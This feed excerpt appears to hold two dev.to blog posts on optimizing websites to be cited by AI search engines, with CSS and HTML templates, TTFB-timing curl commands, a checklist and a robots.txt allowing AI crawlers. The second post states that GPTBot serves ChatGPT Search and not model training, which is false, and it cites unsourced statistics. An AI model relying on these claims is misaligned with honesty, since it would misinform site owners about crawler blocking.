&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="c"&gt;/* Mobile: table → cards */&lt;/span&gt;
&lt;span class="k"&gt;@media&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;max-width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;600px&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nc"&gt;.cmp-table&lt;/span&gt; &lt;span class="nt"&gt;thead&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;none&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nc"&gt;.cmp-table&lt;/span&gt; &lt;span class="nt"&gt;tr&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;block&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1px&lt;/span&gt; &lt;span class="nb"&gt;solid&lt;/span&gt; &lt;span class="m"&gt;#30363d&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;6px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;margin-bottom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;12px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nc"&gt;.cmp-table&lt;/span&gt; &lt;span class="nt"&gt;td&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;flex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;justify-content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;space-between&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;border-bottom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1px&lt;/span&gt; &lt;span class="nb"&gt;solid&lt;/span&gt; &lt;span class="m"&gt;#21262d&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;6px&lt;/span&gt; &lt;span class="m"&gt;10px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c"&gt;/* Show column name before the value */&lt;/span&gt;
  &lt;span class="nc"&gt;.cmp-table&lt;/span&gt; &lt;span class="nt"&gt;td&lt;/span&gt;&lt;span class="nd"&gt;::before&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data-label&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nl"&gt;font-weight&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;600&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#8b949e&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;margin-right&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- HTML with data-label: readable by both LLMs and mobile users --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;tr&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;td&lt;/span&gt; &lt;span class="na"&gt;data-label=&lt;/span&gt;&lt;span class="s"&gt;"Platform"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Eleventy + NVMe VPS&lt;span class="nt"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;td&lt;/span&gt; &lt;span class="na"&gt;data-label=&lt;/span&gt;&lt;span class="s"&gt;"TTFB"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;50ms&lt;span class="nt"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;td&lt;/span&gt; &lt;span class="na"&gt;data-label=&lt;/span&gt;&lt;span class="s"&gt;"Price"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;$5–10/mo&lt;span class="nt"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/tr&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The result: on desktop - a classic table that an LLM parses cleanly. On mobile - cards where every value is labeled. The semantic &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; structure is fully preserved - a crawler sees no difference.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Deep BLUF: Every H2 Section as a Self-Contained Semantic Node
&lt;/h2&gt;

&lt;p&gt;In Part 1 we talked about BLUF at the article level. But a &lt;strong&gt;RAG pipeline&lt;/strong&gt; often loads not the full page, but only the relevant fragment - the H2 section that most closely matches the user's query. This means every section needs to be a self-sufficient semantic node.&lt;/p&gt;

&lt;h3&gt;
  
  
  Anatomy of a GEO-Optimized H2 Section
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;section&amp;gt;&lt;/span&gt;

  &lt;span class="c"&gt;&amp;lt;!-- 1. Heading - a natural long-tail query --&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;h2&amp;gt;&lt;/span&gt;Why HTML Tables Get 47% More Citations in Perplexity&lt;span class="nt"&gt;&amp;lt;/h2&amp;gt;&lt;/span&gt;

  &lt;span class="c"&gt;&amp;lt;!-- 2. BLUF sentence - a ready answer to the query intent --&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;strong&amp;gt;&lt;/span&gt;Short answer:&lt;span class="nt"&gt;&amp;lt;/strong&amp;gt;&lt;/span&gt; LLMs read a &lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;table&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt; matrix as a
    structured token array - extracting a specific value from a cell
    is far more efficient than parsing the same fact from running text.
  &lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;

  &lt;span class="c"&gt;&amp;lt;!-- 3. Technical depth for the human reader --&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Detailed explanation, context, nuances...&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;

  &lt;span class="c"&gt;&amp;lt;!-- 4. Structured data - gold for the parser --&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;table&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/table&amp;gt;&lt;/span&gt;

  &lt;span class="c"&gt;&amp;lt;!-- 5. Code or specific commands if applicable --&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;pre&amp;gt;&amp;lt;code&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;/section&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Comparing Structures: Bad vs. Good H2 Section
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Element&lt;/th&gt;
&lt;th&gt;❌ Old SEO Approach&lt;/th&gt;
&lt;th&gt;✅ GEO Approach&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;H2 Heading&lt;/td&gt;
&lt;td&gt;"Benefits of HTML Tables"&lt;/td&gt;
&lt;td&gt;"Why HTML Tables Get 47% More Citations"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;First Paragraph&lt;/td&gt;
&lt;td&gt;"In this section we will explore..."&lt;/td&gt;
&lt;td&gt;One sentence with a ready answer + a number&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Main Content&lt;/td&gt;
&lt;td&gt;Wall of keyword-stuffed text&lt;/td&gt;
&lt;td&gt;Text + table or code block&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Section End&lt;/td&gt;
&lt;td&gt;Smooth transition to the next section&lt;/td&gt;
&lt;td&gt;Micro-conclusion or a specific next step&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  4. Hard E-E-A-T Signals That AI Cannot Fake
&lt;/h2&gt;

&lt;p&gt;ChatGPT and Claude can instantly rewrite dry theory. But there's a class of content they &lt;strong&gt;physically cannot generate&lt;/strong&gt; - live operational experience from a specific person in a specific environment.&lt;/p&gt;

&lt;h3&gt;
  
  
  Three Uniqueness Anchors for GEO
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;1. Real terminal output&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Live TTFB measurement - this result only exists on your server&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"TTFB: %{time_starttransfer}s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  https://your-site.com/posts/your-article/
TTFB: 0.048s

&lt;span class="c"&gt;# For comparison - a typical WordPress on shared hosting&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"TTFB: %{time_starttransfer}s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  https://example-wp-blog.com/
TTFB: 0.923s
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An LLM cannot generate this &lt;code&gt;stdout&lt;/code&gt; - it's unique and tied to your infrastructure at a specific point in time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Specific bugs and environment quirks&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Generic statements like "Eleventy is fast" can be rewritten by AI in seconds. But "when using &lt;code&gt;eleventy-img&lt;/code&gt; with &lt;code&gt;formats: ["avif", "webp"]&lt;/code&gt; and Sharp 0.33+, a memory leak occurs on Node.js 22 when processing &amp;gt; 200 images in parallel" - that's a specific bug in a specific environment. That level of detail is a primary-source signal for search algorithms.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Live operational metrics&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="err"&gt;Firebase&lt;/span&gt; &lt;span class="err"&gt;Realtime&lt;/span&gt; &lt;span class="err"&gt;Database&lt;/span&gt; &lt;span class="err"&gt;-&lt;/span&gt; &lt;span class="err"&gt;actual&lt;/span&gt; &lt;span class="err"&gt;load&lt;/span&gt; &lt;span class="err"&gt;from&lt;/span&gt; &lt;span class="err"&gt;a&lt;/span&gt; &lt;span class="err"&gt;personal&lt;/span&gt; &lt;span class="err"&gt;blog&lt;/span&gt;
&lt;span class="err"&gt;(May&lt;/span&gt; &lt;span class="err"&gt;2026,&lt;/span&gt; &lt;span class="err"&gt;Spark&lt;/span&gt; &lt;span class="err"&gt;Plan):&lt;/span&gt;

&lt;span class="err"&gt;Monthly&lt;/span&gt; &lt;span class="err"&gt;read&lt;/span&gt; &lt;span class="py"&gt;operations&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="s"&gt;47,832 / 400,000 limit (12%)&lt;/span&gt;
&lt;span class="py"&gt;Storage&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                  &lt;span class="s"&gt;0.003 GB / 1 GB limit  (0.3%)&lt;/span&gt;
&lt;span class="err"&gt;Peak&lt;/span&gt; &lt;span class="err"&gt;traffic&lt;/span&gt; &lt;span class="err"&gt;(comments):&lt;/span&gt;  &lt;span class="err"&gt;8&lt;/span&gt; &lt;span class="err"&gt;concurrent&lt;/span&gt; &lt;span class="err"&gt;connections&lt;/span&gt; &lt;span class="err"&gt;/&lt;/span&gt; &lt;span class="err"&gt;100&lt;/span&gt; &lt;span class="err"&gt;limit&lt;/span&gt;
&lt;span class="err"&gt;Monthly&lt;/span&gt; &lt;span class="py"&gt;cost&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;             &lt;span class="s"&gt;$0.00&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These numbers can't be convincingly fabricated - they're tied to a real project and verifiable through Firebase Console. This is exactly the content Google E-E-A-T marks as "Experience" and AI search cites as a primary source.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Pre-Publish Checklist
&lt;/h2&gt;

&lt;p&gt;Before hitting publish, verify each item:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] The introductory "watery" paragraph has been replaced with a BLUF sentence containing a concrete fact&lt;/li&gt;
&lt;li&gt;[ ] Every 200 words contain at least one verified number or metric&lt;/li&gt;
&lt;li&gt;[ ] Every comparison or feature set is formatted as an HTML &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;[ ] Tables have &lt;code&gt;data-label&lt;/code&gt; attributes for mobile CSS transformation&lt;/li&gt;
&lt;li&gt;[ ] Every H2 section starts with a BLUF sentence (&lt;code&gt;&amp;lt;strong&amp;gt;Short answer:&amp;lt;/strong&amp;gt;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;[ ] At least one live experience element is present: terminal output, a versioned bug, a real metric&lt;/li&gt;
&lt;li&gt;[ ] Links to primary sources (research, documentation, GitHub) are included&lt;/li&gt;
&lt;li&gt;[ ] A FAQ section at the end with at least 3 naturally-phrased questions&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Do texts written for LLMs become dry and boring for human readers?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;No - and here's why: humans don't read filler either. People scan text looking for concrete answers. The BLUF + facts + tables structure improves UX for humans just as much as for AI parsers. Storytelling and narrative remain - they're simply separated from technical blocks with clean semantic tags.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Should I ditch keyword optimization entirely in favor of fact density?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;No, it's not either/or. Keywords are still needed for classic SEO and for AI parsers to find the page for a given query in the first place. But in 2026, having a keyword present is no longer enough to get cited - you also need high density of verified facts surrounding it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How many tables is optimal for one article?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A good rule of thumb: one table per comparison or feature set - typically 2-4 tables in a full technical article. More tables than text signals to Google that the content is "thin." Fewer than one per 1,500 words is a missed opportunity for structured citation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do I check whether my article is being cited in ChatGPT or Perplexity?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The simplest method: ask Perplexity a question your article should answer and see if your domain shows up under "Sources." For ChatGPT Search - the same thing via the web interface with search enabled. Systematic tracking and automation of this process will be covered in detail in &lt;strong&gt;Part 4&lt;/strong&gt; of the series.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Next in the GEO/SEO 2026 Series
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Part 3 - GEO Automation in Eleventy:&lt;/strong&gt; how to auto-generate JSON-LD schema, BLUF blocks, and mobile tables through Nunjucks templates - so you never write micro-markup by hand for each new article.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Part 4 - Measuring the GEO Effect:&lt;/strong&gt; how to track how often your site is cited in ChatGPT, Perplexity, and Gemini; which metrics replace classic CTR; and how to build a monitoring dashboard without paid tools.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>webdev</category>
      <category>tutorial</category>
      <category>website</category>
    </item>
    <item>
      <title>GEO in 2026: Optimize Your Site for ChatGPT &amp; Perplexity</title>
      <dc:creator>Aribu js</dc:creator>
      <pubDate>Sat, 06 Jun 2026 11:53:06 +0000</pubDate>
      <link>https://dev.to/digital-abetka/geo-in-2026-optimize-your-site-for-chatgpt-perplexity-35f3</link>
      <guid>https://dev.to/digital-abetka/geo-in-2026-optimize-your-site-for-chatgpt-perplexity-35f3</guid>
      <description>&lt;p&gt;The classic search experience - type a query, get 10 blue links, click one - is rapidly giving way to a single synthesized answer from an AI agent. According to SparkToro, the share of searches that end with a click to a website dropped from ~65% in 2023 to an estimated &lt;strong&gt;40-45% in 2026&lt;/strong&gt;. The rest get answered directly inside ChatGPT Search, Perplexity, Gemini, or Copilot.&lt;/p&gt;

&lt;p&gt;That shift has a name: &lt;strong&gt;GEO - Generative Engine Optimization&lt;/strong&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR - Bottom Line Up Front&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;(This block itself is an example of a GEO-optimized article opening)&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;GEO&lt;/strong&gt; = optimizing your site to be &lt;strong&gt;cited in AI search responses&lt;/strong&gt; (ChatGPT, Perplexity, Gemini, Copilot), not just ranked in Google.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;How it works:&lt;/strong&gt; AI systems use RAG architecture - they fetch the top 5-10 pages and synthesize an answer. Your job: be the easiest page to parse.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Three pillars of GEO:&lt;/strong&gt; clean semantic HTML + structured facts in tables + a BLUF block at the top of every page.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Time to implement the basics:&lt;/strong&gt; 2-4 hours per site (robots.txt, schema markup, BLUF blocks).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Meta note:&lt;/strong&gt; this article is itself written to GEO standards - notice the structure, tables, and FAQ at the end.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Why 2026 Is a Turning Point for Organic Search
&lt;/h2&gt;

&lt;p&gt;The SEO funnel used to look like this: query → 10 links → click → site.&lt;/p&gt;

&lt;p&gt;AI search breaks that model: query → synthesized answer with 2-3 cited sources → (maybe) a click.&lt;/p&gt;

&lt;h3&gt;
  
  
  Classic SEO vs. GEO - Side by Side
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Criterion&lt;/th&gt;
&lt;th&gt;Classic SEO&lt;/th&gt;
&lt;th&gt;GEO (2026)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Optimization target&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SERP position&lt;/td&gt;
&lt;td&gt;Citation in AI response&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Primary signal&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Backlinks, keyword density&lt;/td&gt;
&lt;td&gt;Clarity, structure, verifiable facts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unit of output&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Link to your site&lt;/td&gt;
&lt;td&gt;Text answer + source attribution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Key crawlers&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Googlebot, Bingbot&lt;/td&gt;
&lt;td&gt;GPTBot, PerplexityBot, Google-Extended&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Success metric&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CTR from SERP&lt;/td&gt;
&lt;td&gt;Citation rate in AI answers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ideal content format&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Long-form keyword-rich text&lt;/td&gt;
&lt;td&gt;Facts, tables, BLUF, FAQ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Are SEO and GEO compatible?&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ Yes - most GEO techniques reinforce classic SEO&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  How AI Search Finds and Cites Content: The RAG Architecture
&lt;/h2&gt;

&lt;p&gt;To understand &lt;strong&gt;GEO&lt;/strong&gt;, you need to understand how AI search actually "thinks." Perplexity, ChatGPT Search, and Gemini don't just draw from training data - they use &lt;strong&gt;RAG (Retrieval-Augmented Generation)&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User: "How do I optimize my site for Perplexity?"
      │
      ▼
1. AI forms a search query → hits Bing/Google/its own index
      │
      ▼
2. Fetches the HTML of the top 5-10 pages into its context window
      │
      ▼
3. Parser reads: &amp;lt;article&amp;gt;, &amp;lt;h1-h3&amp;gt;, &amp;lt;table&amp;gt;, &amp;lt;ul&amp;gt;, &amp;lt;blockquote&amp;gt;
   ⚠ Ignores: nested &amp;lt;div&amp;gt; soup, JS-rendered content, pop-up overlays
      │
      ▼
4. LLM synthesizes a response, inserting citations from the clearest sources
      │
      ▼
Answer: "According to example.com, GEO optimization involves..."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  What "Easy to Parse" Actually Means
&lt;/h3&gt;

&lt;p&gt;The AI parser reads your page in 0.1-0.3 seconds and decides: cite or skip. Here's what it prioritizes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;First 150 words&lt;/strong&gt; containing a direct answer to the question (BLUF).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Semantic tags&lt;/strong&gt; - &lt;code&gt;&amp;lt;article&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;section&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;h2&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Concrete numbers and facts&lt;/strong&gt; - "in 2026", "40% of traffic", "3 steps".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A FAQ section&lt;/strong&gt; at the end - the most frequently cited part of any article.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Step 1. Configure robots.txt for AI Crawlers
&lt;/h2&gt;

&lt;p&gt;The fastest win: make sure your site is &lt;strong&gt;physically accessible&lt;/strong&gt; to AI bots. By default, some CMS platforms and CDNs block newer user-agents.&lt;/p&gt;

&lt;p&gt;Open &lt;code&gt;/robots.txt&lt;/code&gt; at your domain root and add:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="c"&gt;# ── Search engines (required) ────────────────────────────
&lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;-&lt;span class="n"&gt;agent&lt;/span&gt;: &lt;span class="n"&gt;Googlebot&lt;/span&gt;
&lt;span class="n"&gt;Allow&lt;/span&gt;: /

&lt;span class="n"&gt;User&lt;/span&gt;-&lt;span class="n"&gt;agent&lt;/span&gt;: &lt;span class="n"&gt;Bingbot&lt;/span&gt;
&lt;span class="n"&gt;Allow&lt;/span&gt;: /

&lt;span class="c"&gt;# ── AI crawlers 2026 ─────────────────────────────────────
# OpenAI / ChatGPT Search
&lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;-&lt;span class="n"&gt;agent&lt;/span&gt;: &lt;span class="n"&gt;GPTBot&lt;/span&gt;
&lt;span class="n"&gt;Allow&lt;/span&gt;: /

&lt;span class="n"&gt;User&lt;/span&gt;-&lt;span class="n"&gt;agent&lt;/span&gt;: &lt;span class="n"&gt;ChatGPT&lt;/span&gt;-&lt;span class="n"&gt;User&lt;/span&gt;
&lt;span class="n"&gt;Allow&lt;/span&gt;: /

&lt;span class="c"&gt;# Perplexity AI
&lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;-&lt;span class="n"&gt;agent&lt;/span&gt;: &lt;span class="n"&gt;PerplexityBot&lt;/span&gt;
&lt;span class="n"&gt;Allow&lt;/span&gt;: /

&lt;span class="c"&gt;# Google Gemini / AI Overviews
&lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;-&lt;span class="n"&gt;agent&lt;/span&gt;: &lt;span class="n"&gt;Google&lt;/span&gt;-&lt;span class="n"&gt;Extended&lt;/span&gt;
&lt;span class="n"&gt;Allow&lt;/span&gt;: /

&lt;span class="c"&gt;# Anthropic Claude
&lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;-&lt;span class="n"&gt;agent&lt;/span&gt;: &lt;span class="n"&gt;ClaudeBot&lt;/span&gt;
&lt;span class="n"&gt;Allow&lt;/span&gt;: /

&lt;span class="n"&gt;User&lt;/span&gt;-&lt;span class="n"&gt;agent&lt;/span&gt;: &lt;span class="n"&gt;anthropic&lt;/span&gt;-&lt;span class="n"&gt;ai&lt;/span&gt;
&lt;span class="n"&gt;Allow&lt;/span&gt;: /

&lt;span class="c"&gt;# Microsoft Copilot
&lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;-&lt;span class="n"&gt;agent&lt;/span&gt;: &lt;span class="n"&gt;Bingbot&lt;/span&gt;
&lt;span class="n"&gt;Allow&lt;/span&gt;: /

&lt;span class="c"&gt;# Meta AI
&lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;-&lt;span class="n"&gt;agent&lt;/span&gt;: &lt;span class="n"&gt;FacebookBot&lt;/span&gt;
&lt;span class="n"&gt;Allow&lt;/span&gt;: /

&lt;span class="c"&gt;# ── To protect content from model training (optional) ────
# (this blocks training crawls, NOT search citation)
# User-agent: GPTBot
# Disallow: /posts/premium/
&lt;/span&gt;
&lt;span class="n"&gt;Sitemap&lt;/span&gt;: &lt;span class="n"&gt;https&lt;/span&gt;://&lt;span class="n"&gt;yourdomain&lt;/span&gt;.&lt;span class="n"&gt;com&lt;/span&gt;/&lt;span class="n"&gt;sitemap&lt;/span&gt;.&lt;span class="n"&gt;xml&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;Important:&lt;/strong&gt; &lt;code&gt;GPTBot&lt;/code&gt; is the crawler for &lt;strong&gt;ChatGPT Search results&lt;/strong&gt;, not for model training. Blocking it = disappearing from ChatGPT Search. If you only want to block training scrapes, that's a separate directive - OpenAI has indicated one is coming, but it isn't standardized yet.&lt;/p&gt;
